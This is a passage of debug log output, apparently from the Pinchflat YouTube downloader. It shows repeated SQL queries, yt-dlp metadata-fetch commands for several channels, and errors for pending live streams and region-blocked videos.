...] 16:16:19.462 [debug] QUERY OK source="media_items" db=0.5ms idle=144.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 16:16:19.462 [debug] QUERY OK source="settings" db=0.0ms idle=144.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.462 [debug] QUERY OK source="settings" db=0.0ms idle=144.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.462 [debug] Running yt-dlp command for action: get_media_attributes 16:16:19.463 [debug] QUERY OK source="settings" db=0.0ms idle=145.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.463 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.463 [debug] Running yt-dlp command for action: get_media_attributes 16:16:19.475 [debug] QUERY OK source="settings" db=0.0ms idle=13.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.475 [debug] QUERY OK source="settings" db=0.0ms idle=13.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.475 [debug] QUERY OK source="settings" db=0.0ms idle=13.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.476 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4e/f8/4ef836b0fc75cc4e387fe1e36961cd3af2185890978bd84f234238353b2d557d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:16:19.476 [debug] QUERY OK source="settings" db=0.0ms idle=13.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.476 [debug] QUERY OK source="settings" db=0.0ms idle=13.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.476 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.476 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a7/0d/a70d6fe98bc6b8502f59b7ad4c1834a979c574f550b49652c0ef369c9549a4d2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:16:20.663 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4e/f8/4ef836b0fc75cc4e387fe1e36961cd3af2185890978bd84f234238353b2d557d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 16:16:20.663 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 16:16:20.664 [debug] QUERY OK source="settings" db=0.1ms idle=1188.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:20.664 [debug] QUERY OK source="settings" db=0.1ms idle=1187.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:20.664 [debug] Running yt-dlp command for action: get_media_attributes 16:16:20.665 [debug] QUERY OK source="settings" db=0.0ms idle=1189.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:20.666 [debug] QUERY OK source="settings" db=0.2ms idle=1189.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:20.666 [debug] QUERY OK source="settings" db=0.1ms idle=359.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:20.666 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e5/78/e578ae0deed75b8c0d8765c10a403ba4ef99824cd5ef3b01caf1e813742c1892.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:16:20.991 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a7/0d/a70d6fe98bc6b8502f59b7ad4c1834a979c574f550b49652c0ef369c9549a4d2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:16:20.991 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:16:20.991 [debug] QUERY OK source="settings" db=0.1ms idle=327.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:20.991 [debug] QUERY OK source="settings" db=0.0ms idle=327.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:20.991 [debug] Running yt-dlp command for action: get_media_attributes 16:16:21.001 [debug] QUERY OK source="settings" db=0.0ms idle=335.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:21.001 [debug] QUERY OK source="settings" db=0.0ms idle=334.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:21.001 [debug] QUERY OK source="settings" db=0.0ms idle=334.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:21.001 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/8e/54/8e54ca036436cb516b619fcf55e611b4c898e6cf2edae2a219201d8057da3b6a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:16:21.975 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e5/78/e578ae0deed75b8c0d8765c10a403ba4ef99824cd5ef3b01caf1e813742c1892.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 16:16:21.975 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 16:16:21.976 [debug] QUERY OK source="media_items" db=0.4ms idle=983.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 16:16:21.976 [debug] QUERY OK source="tasks" db=0.1ms idle=975.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799920, 19, ~U[2026-02-10 22:16:21Z], ~U[2026-02-10 22:16:21Z]] 16:16:21.977 [info] {"args":{"id":19},"id":3799882,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2665493,"event":"job:stop","queue_time":631253,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:22.585 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/8e/54/8e54ca036436cb516b619fcf55e611b4c898e6cf2edae2a219201d8057da3b6a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:16:22.585 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:16:22.585 [debug] QUERY OK source="settings" db=0.2ms idle=608.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:22.586 [debug] QUERY OK source="settings" db=0.1ms idle=608.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", 